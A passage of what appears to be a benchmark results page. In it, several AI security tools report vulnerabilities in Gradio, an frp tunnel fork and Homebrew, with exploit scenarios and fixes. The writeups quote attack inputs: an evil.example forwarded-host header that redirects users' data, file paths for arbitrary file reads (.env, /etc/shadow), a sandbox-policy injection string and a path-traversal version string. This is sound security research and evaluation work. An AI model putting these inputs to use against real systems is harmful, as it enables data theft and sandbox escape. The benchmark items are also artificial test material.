--uebut supplies neither--tls_enablenor FRP's separate--tokenargument. The command parser consequently selects TCP without TLS and an empty authentication token. The client uses that empty token as the key input both for control-plane encryption and for HTTP proxy work connections; the Pythonshare_tokendoes not supply cryptographic key material because it is only the proxy name. Thus the source establishes no secret key or authenticated transport protecting the local-machine-to-share-server hop. The exact cipher implementation is delegated togolib, but its configured key input is public regardless of the random routing name or the eventualhttpspublic URL.
Claude Security (Sonnet 5.5)
Auth proof is unsalted MD5(token||timestamp) with the timestamp sent in clear, allowing offline token brute force
frp/pkg/util/util/util.go:48Predicted severity: Low- Root cause
-
Vulnerable symbol: GetAuthKey
Preconditions: Attacker can observe a Login, Ping, NewWorkConn or NewVisitorConn message, i.e. the connection is not wrapped in TLS; Token or sk has low or moderate entropy
Offending code:
md5Ctx := md5.New()
- Impact
-
Recovery of the shared frps token gives an attacker authenticated access, the ability to register proxies, and the ability to decrypt token-keyed streams. For stcp/xtcp, recovery of sk exposes the secured service.
- Description
-
GetAuthKey builds privilege_key and sign_key as MD5(secret + decimal timestamp). The server verifies it for Login (service.go:464 -> auth/token.go:77), Ping, NewWorkConn, visitor conns (visitor.go:67) and xtcp (nathole.go:121). Both the timestamp and the digest travel in the same plaintext message, so a passive observer can test token guesses offline at MD5 speed.
- Exploit scenario
-
frps accepts plaintext connections by default (TLSOnly=false, and frpc tls_enable defaults to false; kcp and websocket listeners are also unencrypted). An attacker who captures one Login message reads timestamp and privilege_key, then runs a dictionary or brute-force search over MD5(candidate||timestamp). A weak or human-chosen token is recovered. The same token keys the control-channel cipher and use_encryption streams, and it authorizes new proxies and work connections.
- Recommendation
-
Replace the construction with HMAC-SHA256 keyed by the token over a server-issued nonce or a timestamp the server validates. Require TLS for the control channel and enforce a minimum token length.
Claude Security (Opus 5.5)
use_encryption derives its tunnel key from the auth token, which is empty by default and empty in Gradio's share tunnel, so the AES key is fixed and public
frp/client/proxy/proxy.go:745Predicted severity: Medium- Root cause
-
Vulnerable symbol: HandleTCPWorkConnection
Preconditions: Attacker can see the network path between frpc and frps (passive is enough to read, active to modify); Proxy uses use_encryption with an empty or weak token: the default, OIDC auth, or Gradio's share tunnel; tls_enable is off (the default, and Gradio never enables it)
Offending code:
remote, err = frpIo.WithEncryption(remote, encKey)
- Impact
-
Anyone who can see the traffic gets full confidentiality loss on all tunneled traffic, and an attacker who can modify it also gets integrity loss. This affects every frpc user who enables use_encryption without a strong token (the default, OIDC mode, and Gradio share links), while they believe the traffic is encrypted.
- Description
-
The work-connection encryption key (encKey) is the client auth token (
[]byte(pxy.clientCfg.Token), proxy.go:151/180/209/238/267). That token is "" by default (cmd/frpc/sub/root.go:89, auth/token.go:34), always empty when OIDC is used, and empty in Gradio's own frpc invocation, which passes--uebut no-t(gradio/gradio/tunneling.py:78-94). The KDF salt is also hard-coded (client/service.go:48crypto.DefaultSalt = "frp"), so every such deployment uses the same publicly computable AES key, and anyone who sees the traffic can decrypt the 'encrypted' tunnel. Inference, not checked here: golib's AES-CFB stream (outside the repo) has no MAC, so an active attacker can also forge content. - Exploit scenario
-
A user runs a Gradio app with share=True on café Wi-Fi or behind a hostile ISP or router. The on-path attacker records the TCP stream from frpc to the share server. Each work connection sends plaintext NewWorkConn/StartWorkConn frames, then a stream that starts with a 16-byte IV, encrypted under PBKDF2(password="", salt="frp"). The attacker computes that one key offline and decrypts every proxied HTTP request and response: Gradio auth passwords, session cookies, uploaded files, model outputs. From an active position the attacker can also re-encrypt modified responses and inject content.
- Recommendation
-
Do not use the authentication token as the stream encryption key. Negotiate per-session keys with an authenticated key exchange, or require TLS with certificate verification. At minimum, refuse use_encryption when the token is empty, use a random per-deployment salt and a strong KDF, and switch to an AEAD mode (AES-GCM or ChaCha20-Poly1305) instead of unauthenticated CFB. Gradio should enable TLS to the share server.
-
Race condition in update_root_in_config may redirect user traffic huggingface-gradio-13 · 2 writeups High
Devin Security (Deep)
Shared app config is rewritten with a root URL taken from the request's Host or X-Forwarded-Host, so concurrent users can be sent to an attacker's server
gradio/gradio/routes.py:378Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
By flooding the app with requests that carry a fake host header, an attacker can make other users' pages send their inputs, uploads and API calls to the attacker's server.
##### What's wrong
This is a race condition on shared state combined with host header poisoning.
mainandget_configtake the single sharedblocks.configdictionary. They write arootURL built from the caller'sHostorX-Forwarded-Hostheader into it, and rewrite file URLs in place. Requests run in parallel threads. One user's response can contain the root URL set by another user's request.##### Who can do it
Mallory keeps sending
GET /configwithX-Forwarded-Host: evil.exampleto Acme's public Gradio app. Alice opens the app at the same moment. Her page receives a config whoserootishttp://evil.example.- The app is reachable without a proxy that overwrites
HostandX-Forwarded-Host. The code uses the first value ofX-Forwarded-Host, so a proxy that only appends a value is not enough.- If the app uses
auth, Mallory needs an account to reach the full config.- Mallory sends many requests so that one lands during a victim's page load.
##### What they get
Alice's frontend uses
config.rootas its API base. It sends her prompts, uploaded files and session ID to Mallory's server. It also loads component files from that server. Mallory can answer with her own results, including HTML that the app shows to Alice. Every user who loads the page during the race window is affected.##### How it works
1.
get_root_urlbuilds the root fromx-forwarded-host, or fromrequest.url, which comes from theHostheader (route_utils.py:337-341).2.
mainandget_configpass the sharedapp.get_blocks().configtoupdate_root_in_config(routes.py:384-386, 432-438).3.
update_root_in_configsetsconfig["root"]on the shared dictionary.add_root_urlchanges the shared file dictionaries'urlfields in place (route_utils.py:643-653, processing_utils.py:499-508).4. These handlers are sync
defroutes, so they run in parallel worker threads. A victim's copy can pick up the attacker'srootbefore it is rendered (routes.py:403-406, 438).5. The frontend uses a full-URL
config.rootas its request base (client/js/src/helpers/init_helpers.ts:24-31, 85). - Exploit scenario
-
Not specified.
- Recommendation
-
Make a deep copy of the config for each request before setting
rootor rewriting URLs, and never changeblocks.configfrom a request handler. TrustX-Forwarded-Hostonly when a trusted-proxy setting is enabled, or validate it against configured host names. To verify, send concurrent/configrequests with differentX-Forwarded-Hostvalues. Each response'srootmust match its own request, andblocks.configmust not change.
Claude Security (Opus 5.5)
Attacker-controlled X-Forwarded-Host is written into the shared Blocks config, so concurrent users can be served an attacker root URL
gradio/gradio/route_utils.py:651Predicted severity: Medium- Root cause
-
Vulnerable symbol: update_root_in_config
Preconditions: The app is reachable without a proxy that overwrites X-Forwarded-Host; With auth enabled, /config needs a login (GET / still works unauthenticated only in the auth-required branch, which does not touch the shared config); Timing: the attacker must win a race against concurrent victim page loads, which flooding makes likely
Offending code:
config["root"] = root
- Impact
-
Victims' API traffic and uploaded data are redirected to the attacker. When custom components are used, the attacker's JavaScript runs in the victim's Gradio page.
- Description
-
get_root_url builds the root URL from the client-supplied X-Forwarded-Host header. main() and get_config() pass the shared app.get_blocks().config dict, not a copy, to update_root_in_config. That function assigns config['root'] and add_root_url mutates the nested file dicts in place. Both handlers are sync and run concurrently in the threadpool, so another user's request can render the attacker's root.
- Exploit scenario
-
The attacker keeps flooding GET /config or GET / with 'X-Forwarded-Host: evil.example'. Each request writes root=http://evil.example into the shared config. A victim's request can be interrupted between its own update and the template render or traverse copy, so it renders window.gradio_config with root=http://evil.example. The victim's frontend then sends queue/join, upload and heartbeat traffic (inputs and files) to evil.example. It also loads custom-component JS and theme.css from it, which gives the attacker script execution in the victim's page.
- Recommendation
-
Deep-copy blocks.config per request before calling update_root_in_config, and make add_root_url copy file dicts instead of mutating them. Only honor X-Forwarded-Host/Proto from configured trusted proxies.
-
Several components' post-process steps may allow arbitrary file leaks huggingface-gradio-16 · 3 writeups High
V12
Image path outputs disclose arbitrary local files
gradio/gradio/components/image.py:195Predicted severity: High- Root cause
-
Output string paths are treated as trusted developer-selected resources and converted into publicly retrievable cache files without constraining them to uploads, configured allowed paths, or files created by the prediction.
- Impact
-
A prediction caller can read arbitrary files accessible to the Gradio worker when attacker path data reaches an Image, Gallery, or ImageEditor output string, including configuration, source, or credential files. AnnotatedImage narrows the primitive to files Pillow can decode, but the other reviewed image-family serializers copy arbitrary bytes and expose them through the authenticated application file endpoint.
- Description
-
Image-family output serializers accept local path strings and pass them to the generic postprocessor without an allowlist, upload-provenance check, or binding to files produced by the current prediction. For Image, Gallery, and ImageEditor, the path need not even point to an image because string values bypass decoding; the cache helper hashes and copies whatever file the process can read, registers it as an app-created temp file, and returns a
/file=URL. AnnotatedImage requires a decodable local image but similarly preserves the selected path after opening it. Therefore, an application output that incorporates an attacker-controlled path grants that caller a file-read primitive through the framework's output conversion.
Devin Security (Deep)
Radio accepts values outside its choices, so apps that trust the choice list can be fed arbitrary paths or URLs
gradio/gradio/components/radio.py:98Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A visitor to a Gradio app can send any value for a
gr.Radioinput. If the app trusts that value to be one of its fixed choices, such as a file name or URL, the visitor can make it read other local files or fetch internal URLs.##### What's wrong
This is missing server-side input validation. With the default
type="value",Radio.preprocessreturns the client payload unchanged. It never checks that the payload is one ofself.choices, or even that it is a string or number. The browser UI only offers the listed choices, so developers expect the server to enforce them, but nothing does.##### Who can do it
Alice, a developer at Acme Corp, builds an app with
gr.Radio(["intro.mp4", "demo.mp4"])wired to agr.Video()output throughlambda x: x. Mallory, an anonymous visitor, sends the event through/queue/joinwith the Radio value/home/user/app/.envinstead of clicking a choice.- The app has no
auth, or Mallory has any login to it.- The app passes the Radio value to something sensitive, such as a file output component, a file open call, a model loader, or a URL fetch.
##### What they get
In Alice's app,
gr.Videoturns the returned string into a file entry and copies the file into the cache. Mallory can then download.envfrom/file=. If she sends anhttp://URL and the Video output must convert formats, the server downloads that URL instead. The harm depends on what the app does with the value. Apps that use Radio only for labels are not affected.##### How it works
1. Mallory sends an event to
/queue/joinwith an arbitrary value in the Radio input slot.2.
Radio.preprocessreturns it unchanged whentypeisvalue(radio.py:105-106).3. The app's function passes the value through to an output such as
gr.Videoorgr.UploadButton.4.
Video.postprocesswraps the string in a file entry, andUploadButton.postprocessdoes the same after downloading any URL (video.py:241-242, 269-317; upload_button.py:196-222).5.
postprocess_datacopies the file into the cache with noallowed_pathscheck and records it as created by the app. The/file=route then serves it (blocks.py:1757-1767, blocks.py:269-307, routes.py:541-560). - Exploit scenario
-
Not specified.
- Recommendation
-
In
Radio.preprocess, reject any payload that is not one of the configured choice values, for bothtype="value"andtype="index". Return a cleargr.Error. Apply the same check toDropdownandCheckboxGroup. To check the fix, add a test whereRadio(["a", "b"]).preprocess("/etc/passwd")raises andpreprocess("a")returns"a".
Claude Security (Opus 5.5)
Prediction output from a 2.x-style Space can name local files that the loading server copies and serves
gradio/gradio/external.py:492Predicted severity: Medium- Root cause
-
Vulnerable symbol: from_spaces_interface.fn
Preconditions: The developer loads an attacker-controlled Space that presents a Gradio 2.x-style config
Offending code:
output = result["data"]
- Impact
-
The owner of a loaded Space can read any server file at runtime, choosing which file per request.
- Description
-
The JSON response from the remote Space's /api/predict/ is returned unchanged as the handler output. The Interface runs with _api_mode=True (postprocess=False), and its components have no proxy_url. postprocess_data then calls async_move_files_to_cache(postprocess=True) on any {'path': ...} dict, which copies the named local file into the cache and returns a /file= URL to the caller.
- Exploit scenario
-
The malicious Space advertises a 2.x config (allow_flagging) and answers /api/predict/ with {"data": [{"path": "/etc/shadow-or-app/.env"}]}. The attacker submits any input through the victim app. The server copies the named local file into its cache and returns /file=<cache>/... in the response, so the attacker can read files on demand without restarting the victim app.
- Recommendation
-
Do not pass remote prediction output through local-path file handling. Set proxy_url on components built from remote 2.x configs, or remove 'path' keys that are not http(s) URLs pointing at the remote Space, before returning output.
-
Slack secret stored in Hugging Face's public frp fork repository huggingface-gradio-21 · 7 writeups Medium
V12
Embedded Slack bearer credential exposed in source
frp/scripts/report_num_ports.py:16Predicted severity: Informational- Root cause
-
daily_analytics()stores an operationally shaped bearer secret in source code and uses it directly as request authentication. - Impact
-
If still valid, the exposed bearer allows a source reader to exercise its Slack permissions outside the reporting process, potentially including posting as the reporting identity. The precise authority remains unresolved: searches of the current tree, deployment dependencies, and available history metadata supplied no scope grant, revocation record, or credential-management configuration.
- Description
-
The listener-reporting daemon embeds a complete
xoxp-bearer credential directly in theAuthorizationheader rather than loading it from an external secret source. Its numeric identifier segments and hexadecimal secret distinguish it from a stub such asYOUR_TOKEN, anddaily_analytics()passes it to Slack'schat.postMessageendpoint. Anyone with access to this source can recover the credential independently of access to the operator's process environment. A current-tree search found this literal in the reporting script;.gitwas absent at both the workspace andfrp/roots, and alternate metadata/history searches exposed no available committed history. The credential's current validity, granted scopes, and rotation status are not established by the available files, and the full value is intentionally omitted here.
Devin Security (Deep)
Slack user token hardcoded in a committed script
frp/scripts/report_num_ports.py:16Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can read this repository can copy a Slack user token and act as that Slack user in the team's workspace, until the token is revoked.
##### What's wrong
This is a hardcoded secret. The script puts a Slack
xoxp-user token straight into theAuthorizationheader in source code that is committed to the repo.##### Who can do it
Mallory, an anonymous person browsing the public repository, opens
frp/scripts/report_num_ports.pyand copies the bearer token on line 17. She calls the Slack Web API with it.- The token must still be valid (not revoked or rotated).
- The repository or its history must be readable by the attacker.
##### What they get
An
xoxp-token acts as the person who installed the app. Mallory can post messages as that person, which lets her send convincing phishing links to coworkers. Depending on the token's scopes, she may also read channel history and files in the workspace, including internal discussion about the share server. The harm is limited to the team's own Slack workspace. It does not expose Gradio users' data directly.##### How it works
1.
frp/scripts/report_num_ports.py:17defines aheadersdict with a literal Slack user token ([REDACTED]).2.
frp/scripts/report_num_ports.py:31sends that header tohttps://slack.com/api/chat.postMessage, which shows the token is a working Slack API credential.3. Anyone holding the token can call any Slack API method that its scopes allow.
- Exploit scenario
-
Not specified.
- Recommendation
-
Revoke the token in Slack now and audit its recent use. Load a replacement token from an environment variable or a secret store instead of source code. Prefer a bot token with only
chat:writeover a user token. Remove the token from git history or treat it as permanently exposed. To check the fix, callhttps://slack.com/api/auth.testwith the old token. It should returninvalid_auth. Then confirm thatgrep -r xoxp-over the repo returns nothing.The
os.popen('echo %s|sudo -S %s')calls on lines 43 and 55 use only constant strings, so they are not injectable today. Still, replace them withsubprocess.run([...])without a shell.
Devin Security
Slack user token hardcoded in committed analytics script
frp/scripts/report_num_ports.py:16Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can read this repository can copy a live-looking Slack user token and act as that Slack user in the project's workspace.
##### What's wrong
This is a hardcoded secret. The script puts a full Slack user token (an
xoxp-token tied to a person, not a bot) directly in theAuthorizationheader string at line 17, and the file is committed to the repository.##### Who can do it
Alice, a maintainer, wrote this script to post daily tunnel counts to a Slack channel. Mallory, anyone who can browse or clone the repository, opens the file and copies the token.
- Mallory can read the repository (public source or any clone).
- The token has not been revoked in Slack.
##### What they get
Slack user tokens carry the scopes of the person who created them. Mallory can post messages as that user, and, depending on the granted scopes, read channels, private messages, and files in the project's Slack workspace. She could use that access to phish other team members from a trusted account. The damage is limited to that Slack workspace and that user's permissions. It does not reach customers' Gradio apps.
##### How it works
1.
daily_analyticsin frp/scripts/report_num_ports.py:17 builds a header with a literalBearer xoxp-[REDACTED]token.2. The file is tracked in git, so the token ships with every clone and in history.
3. Mallory sends the token to the Slack Web API (for example
chat.postMessageorconversations.history) and Slack treats her as the token owner. - Exploit scenario
-
Not specified.
- Recommendation
-
Revoke the token in Slack now, because removing it from the file does not remove it from git history. Load a new token from an environment variable or secret store (for example
os.environ["SLACK_TOKEN"]), and prefer a bot token with onlychat:write. Add a secret scanner (such as gitleaks) to CI. To check the fix, call Slackauth.testwith the old token and confirm it returnsinvalid_auth, and confirm a repo-wide search forxoxp-finds nothing.
Codex Security (GPT-6 Sol)
Repository reader can obtain a Slack bearer token
frp/scripts/report_num_ports.py:17Predicted severity: Medium- Root cause
-
A literal Slack user token is stored in source and placed in the Authorization header for
chat.postMessage(). Anyone with source access can obtain the credential even if the script never executes. - Impact
-
The credential grants authority beyond source reading, but its current validity and Slack privileges are unknown.
- Description
-
The port-reporting script embeds a Slack user bearer token that source readers can reuse against Slack if it remains valid.
- Exploit scenario
-
Read the token literal from the repository and use it against Slack if it has not been revoked.
- Recommendation
-
Revoke and rotate the token, then load its replacement from a secret store rather than source.
Claude Security (Sonnet 5.5)
Hard-coded Slack user OAuth token (xoxp) committed in analytics script
frp/scripts/report_num_ports.py:17Predicted severity: Medium- Root cause
-
Vulnerable symbol: daily_analytics
Preconditions: Read access to the repository, which is public; The token has not already been revoked (Slack may auto-revoke tokens that leak to public repos)
- Impact
-
A reader of the repository can authenticate to the Slack API as the token's owner. At minimum they can post messages as that user to the analytics channel. Depending on the token's scopes they may also read channels and history and act as the user in the workspace. The token must also be treated as exposed in all clones and forks.
- Description
-
daily_analytics() embeds a literal Slack user token in the Authorization header used to call chat.postMessage; anyone who can read the repository can lift and reuse it.
- Exploit scenario
-
An attacker clones or browses the public repository, copies the token from this file and calls Slack Web API methods such as chat.postMessage, conversations.history or auth.test with it. This allows spoofed internal messages or reading of workspace content, with no further access needed.
- Recommendation
-
Revoke and rotate the token immediately. Load credentials from an environment variable or secret manager instead of source. Purge the value from git history and review Slack audit logs for misuse.
Claude Security (Opus 5.5)
Hard-coded Slack user OAuth token (xoxp) committed in share-server analytics script
frp/scripts/report_num_ports.py:17Predicted severity: Medium- Root cause
-
Vulnerable symbol: daily_analytics
Preconditions: Token has not been revoked (cannot be verified without network access)
- Impact
-
Impersonation of a workspace user and possible reading of internal Slack channels, DMs and files. This credential reaches a system outside the repository's trust boundary.
- Description
-
A live-format Slack user token (xoxp prefix) is embedded in source and sent as a Bearer credential to slack.com/api/chat.postMessage; anyone with read access to the repository can lift it and call the Slack Web API as that user.
- Exploit scenario
-
An attacker reads frp/scripts/report_num_ports.py from the public repository, copies the user token, and calls Slack Web API methods (conversations.list/history, chat.postMessage, files.list, users.list) as the token owner. That lets them read workspace messages and post as an employee for phishing, within whatever scopes were granted.
- Recommendation
-
Revoke the token in Slack now and purge it from git history. Load credentials from an environment variable or secret store, and use a narrowly scoped bot token (xoxb) with only chat:write instead of a user token.
Vercel Security Review
Analytics script commits a Slack user bearer credential
frp/scripts/report_num_ports.py:17Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Repository readers receive a hard-coded Slack credential** -
frp/scripts/report_num_ports.py:16-17```python title="frp/scripts/report_num_ports.py:16"
url = 'https://slack.com/api/chat.postMessage'
```
The adjacent Authorization-header assignment on line 17 embeds a literal Slack user bearer token, not an environment reference or example placeholder. Its value is omitted here.
**2. The credential authorizes Slack operations outside the script** -
frp/scripts/report_num_ports.py:30-31```python title="frp/scripts/report_num_ports.py:30-31"
for dailyPost in dailyPosts:
requests.post(url, data=dailyPost, headers=headers)
```
The script posts messages as the user using that credential. Anyone obtaining the added source can reuse it while active, without access to the analytics host. Exposure requires rotation, not merely deleting the assignment.
- Exploit scenario
-
Not specified.
- Recommendation
-
Revoke and rotate the exposed Slack token immediately, review its usage, and load a replacement from a restricted secret store or environment variable. Remove the credential from distributed source and repository history where feasible.
- Exposed upload and file endpoints in Gradio with OAuth huggingface-gradio-23 Medium
-
-
Homebrew Ruby Homebrew package manager and GitHub automation. Tasks 14 V12 6/14 Devin (Deep) 4/14 Devin 2/14 Codex Sec 2/14 Claude Sec 2/14 Claude Opus 1/14 Vercel 1/14
Homebrew package manager and GitHub automation.
-
Path traversal during file caching homebrew-1 · 1 writeup Medium
V12
Package versions escape cache symlink destinations
brew/Library/Homebrew/formulary.rb:241Predicted severity: High- Root cause
-
Cache-link naming assumes a version string is a safe filename component, but neither version construction nor formula validation enforces that assumption or confines the resulting destination.
- Impact
-
Malicious package metadata can cause symlink creation or replacement outside the Homebrew cache, at locations writable by the invoking user. The link points at the attacker-provided downloaded artifact, allowing unrelated files to be replaced with links to attacker-controlled contents; a valid checksum does not constrain this destination.
- Description
-
The human-readable cache symlink path interpolates package
versiondirectly into a pathname beneath the cache root. Formula versions preserve arbitrary nonblank strings, and formula attribute validation rejects whitespace but not slashes or..components. API formula loading passes the metadata version through this same construction, so the issue does not require executing Ruby formula code. A version such as1/../../../../tmp/homebrew-targetmakes the cache link path escape its intended directory. After acquisition, the strategy creates the destination directory and force-creates the symlink before the command checks the artifact checksum.
-
Sandbox escape via string injection homebrew-2 · 3 writeups Medium
V12
Filesystem paths are interpolated into sandbox policy syntax
brew/Library/Homebrew/sandbox.rb:195Predicted severity: Informational- Root cause
-
Filesystem path serialization is implemented by interpolation into Seatbelt source rather than by escaping the target language's string syntax.
expand_realpathnormalizes location but does not make the returned path safe to embed as policy text. - Impact
-
If an allowlisted path or its resolved symlink destination contains attacker-influenced Seatbelt syntax, generated policy structure can be altered before package execution. Security relevance remains unresolved for a concrete deployment: the missing facts are which such path an adversary can influence before rule creation and how the injected expressions combine with the default denial in that macOS Seatbelt compiler; the searched boundary covered the three sandbox files, all sandbox callers, startup path configuration, and the sandbox specifications.
- Description
-
path_filterinserts canonical filesystem paths directly into double-quoted Seatbelt strings, without escaping quotes or backslashes. Canonicalization does not remove those legal filename characters, andSandboxProfile#add_ruleincorporates the resulting string verbatim into the policy. The affected inputs include cache, temporary, log, Cellar, and home-directory paths used by the real build/test/post-install callers. A quote-bearing path can therefore terminate a policy string rather than remain a literal path; a crafted suffix can introduce additional policy expressions, while simpler inputs produce invalid profiles. The only regex-producing call found in the caller search uses a fixed expression, so this finding does not assume a caller-controlled regex input.
Devin Security (Deep)
Sandbox profile is built from unescaped, symlink-resolved paths, so an earlier sandboxed step can widen or inject rules into later sandbox profiles
brew/Library/Homebrew/sandbox.rb:195Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Code running in one Homebrew sandbox step can turn a writable folder into a symlink and give the next step's sandbox, such as
post_installorbrew test, write access to the user's whole home folder or an unrestricted write rule. The impact stays on the local user account.##### What's wrong
This is a sandbox policy injection.
path_filterputs each path into the Seatbelt profile text inside double quotes, andadd_rulejoins the rule pieces as plain strings. Nothing escapes",),;or newlines. Before that,expand_realpathfollows symlinks on paths that an earlier sandboxed step was allowed to replace, such as the formula's log folder andHOMEBREW_PREFIX/var. A later profile therefore trusts a path string that sandboxed code chose.##### Who can do it
Alice builds
widgetfrom source on her Mac. Mallory controls thewidgetbuild scripts, which run in the build sandbox. The build sandbox lets her write to the log folder~/Library/Logs/Homebrew/widget, including the folder entry itself. Her script replaces that folder with a symlink to Alice's home folder. Or it points the symlink at a folder in/private/tmpwhose name contains")) (allow file-write*) ;. When Alice later runsbrew test widget, or whenpost_installruns, Homebrew resolves the symlink. It then writes the attacker-chosen path into the new profile. The test runs Mallory's built binary with write access to Alice's home folder, or with no write limits at all.- Alice uses macOS, so the Seatbelt sandbox is active.
- Mallory controls code that runs in an earlier sandboxed step, usually the source build.
- A later sandboxed step runs code Mallory controls, such as
brew testrunning the built binary orpost_installcalling it.- A formula author could also put quotes or parentheses in the formula file name. That author already runs Ruby in the unsandboxed parent, so that path adds nothing.
##### What they get
Mallory's code in the later step can write anywhere Alice can, for example
~/.zshrcor~/Library/LaunchAgents. Her code then runs unsandboxed at Alice's next login or shell start. This only reaches Alice's own account. Mallory's compiled program is also installed for Alice to run, so the sandbox is a defense-in-depth layer here.##### How it works
1. The build sandbox allows writes to
formula.logsandformula.varas subpaths, which includes replacing the folder entries themselves (sandbox.rb:68-72 and 79-81, formula_installer.rb:921-925).2. The build script renames the folder and creates a symlink in its place that points to a path of its choice.
3. A later step calls
allow_write_logorallow_write_cellaragain (dev-cmd/test.rb:88-100, formula_installer.rb:1140-1154).4.
expand_realpathfollows the symlink and returns its target (sandbox.rb:195-199).5.
path_filterputs the target intosubpath "..."without escaping (sandbox.rb:201-207).6.
add_ruleand the profile template write that text straight into the Seatbelt profile. A target such as the home folder, or one with an injected(allow file-write*), widens the policy (sandbox.rb:211-230 and 239-247). - Exploit scenario
-
Not specified.
- Recommendation
-
In
path_filter, reject any path that contains",\,(,),;or a newline, and fail the sandbox setup instead of writing the profile. Use#"..."regex literals only for fixed, trusted patterns. Before resolving a path that an earlier sandboxed step could write, check withlstatthat it is not a symlink, or that it still resolves inside the expected Homebrew folder (for example underHOMEBREW_LOGSorHOMEBREW_PREFIX). Refuse it if not. To check the fix, add tests that callallow_write_pathwith a path containing")) (allow file-write*) ;and expect an error. Also replaceHOMEBREW_LOGS/<name>with a symlink to$HOMEand check thatbrew testrefuses to run or keeps the rule scoped to the log folder.
Devin Security
Sandbox profile paths are not escaped before they go into the macOS sandbox rules
brew/Library/Homebrew/sandbox.rb:201Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A path that contains a double quote or parenthesis can add extra rules to the macOS build sandbox, but in practice the only people who control these paths can already run code outside the sandbox.
##### What's wrong
This is a rule injection bug.
path_filterputs each path into a sandbox rule string inside double quotes, and it never escapes or rejects quotes, parentheses, backslashes, or newlines in that path.##### Who can do it
Alice installs a formula from a third-party tap that Mallory runs. Mallory names the formula, or sets a path that ends up in the rule list, so that it contains a quote followed by an extra rule such as
(allow file-write* (subpath "/")). When Alice builds the formula, the generated sandbox profile includes Mallory's extra rule.- The attacker must control a path given to
allow_write_pathordeny_write, such as the formula name (throughformula.rack,formula.etc,formula.var, orformula.logs),HOMEBREW_TEMP,HOMEBREW_CACHE, or the user's home path.- The victim must be on macOS, where the sandbox is used.
##### What they get
Mallory can turn off the sandbox's write limits for the build or post-install step, so that step can write anywhere the user can write. The gain is small. A tap formula's Ruby class body already runs inside the unsandboxed
brewprocess when the formula loads. The environment variables can only be set by the local user. I could not find an attacker who gains new access from this bug.##### How it works
1.
Sandbox#allow_writeandSandbox#deny_writepass the path topath_filter(sandbox.rb:34-41).2.
path_filterbuildssubpath "<path>",literal "<path>", orregex #"<path>"with plain string interpolation (sandbox.rb:201-207).3.
SandboxProfile#add_rulewraps the filter in parentheses, anddumpjoins the rules into the SBPL profile through ERB without escaping (sandbox.rb:239-251).4. A quote in the path ends the string early, and the text after it is read as new SBPL rules. Those rules come before the final
(deny file-write*). - Exploit scenario
-
Not specified.
- Recommendation
-
In
path_filter, reject any path that contains",',(,), a backslash, or a newline. Raise anArgumentErrorfor these paths, which is what current upstream Homebrew does. To check the fix, add a spec that callsallow_write_pathwith a path containing"and confirm that it raises an error and adds no rule.
- Use of weak cryptographic digest in Formulary namespaces homebrew-5 Medium
-
Use of ldd on untrusted inputs homebrew-7 · 1 writeup Medium
V12
Dependency inspection trusts dynamic-loader tracing safety
brew/Library/Homebrew/os/linux/elf.rb:127Predicted severity: Informational- Root cause
-
Dependency inspection delegates untrusted ELF linkage to
lddwithout establishing that the selected loader's tracing mode is non-executing for all accepted ELF features. Static parsing ofDT_NEEDEDis used only as a precondition, not as a substitute for loader execution. - Impact
-
The specific security question is whether inspecting an installed ELF can execute its loader-directed audit code in the Homebrew process's user context, even when the package's executable was not intentionally launched. The missing fact is the selected
ldd/dynamic loader's treatment ofDT_AUDITandDT_DEPAUDITduring dependency tracing; the searched boundary comprised the two target files, their build/install/linkage callers, tool selection and process helpers, vendored ELF dependencies, repository-wide loader searches, and the environment's/usr/bin/ldd, but not the selected loader's implementation. - Description
-
ELFShim::Metadatastarts with static parsing of an ELF'sDT_NEEDEDentries, but then invokeslddon the file to resolve their locations. This is reached bybrew linkage, by source-build C++ library detection, and by installation-time linkage-cache rebuilding. The command receives the package-controlled ELF directly, with no tag policy limiting loader features such as ELF audit dependencies and no isolation specified at this call site. This crosses from parsing package metadata into the selected system or Homebrew dynamic-loader implementation. Whether that implementation can run package-supplied audit-module initialization while tracing remains unresolved, so this is not a confirmed code-execution finding.
-
Formulas allow for external resources to be downloaded during the install step homebrew-8 · 1 writeup Medium
V12
Isolated builds leave dependency integrity unresolved
brew/Library/Homebrew/language/python.rb:185Predicted severity: Informational- Root cause
-
The virtualenv installation wrappers default to isolated builds without binding isolated build requirements to the formula's verified resources. The resource integrity checks apply to the staged input, not to any separate resolution performed by pip's build environment.
- Impact
-
The specific unresolved question is whether an installed source package's isolated build requirements introduce mutable, independently downloaded executable dependencies despite the formula's pinned resource checksums. The missing facts are an applicable package's build requirements and the deployed pip resolver's handling of them; the searched boundary includes both language helpers, generated formula callers, virtualenv tests,
std_pip_args, resource fetching, and the build sandbox, but contains no consuming tap sources or pip implementation. - Description
-
virtualenv_install_with_resourcesstages the formula's resources and installs its build directory throughpip_installandpip_install_and_link, both of which enablebuild_isolationby default.do_installpropagates that default intoFormula#std_pip_args, so these calls omit--no-build-isolationeven though direct users ofstd_pip_argsreceive that flag by default. The generated arguments include--no-deps, but contain no requirement hashes or restriction to the previously fetched resources. Inference: for a source package whose build-system requirements require index resolution, isolated build dependencies can therefore cross a separate download-and-execution boundary from the checksum-verified resources. The snapshot establishes this configuration gap but does not include a consuming tap formula and its source metadata demonstrating a floating build requirement.
- Use of Marshal homebrew-9 Medium
-
Lack of sandboxing on Linux homebrew-10 · 1 writeup Medium
Devin Security (Deep)
Post-install sandbox lets a formula hook overwrite the brew command and every linked command in the Homebrew prefix
brew/Library/Homebrew/formula_installer.rb:1140Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious or compromised formula
post_installhook can escape the macOS install sandbox for good by replacing thebrewcommand or other shared Homebrew files that later run with the user's full rights, but the attacker must first get hook code into a formula or bottle the victim installs.##### What's wrong
This is an overly broad sandbox allowlist. The post-install sandbox grants write access to all of
HOMEBREW_PREFIX/bin,etc,include,lib,sbin,shareandvar. These folders are shared by every installed formula and by Homebrew itself. The only carve-out forbin/brewnames the symlink's resolved target, so thebrewsymlink in the prefix stays writable.##### Who can do it
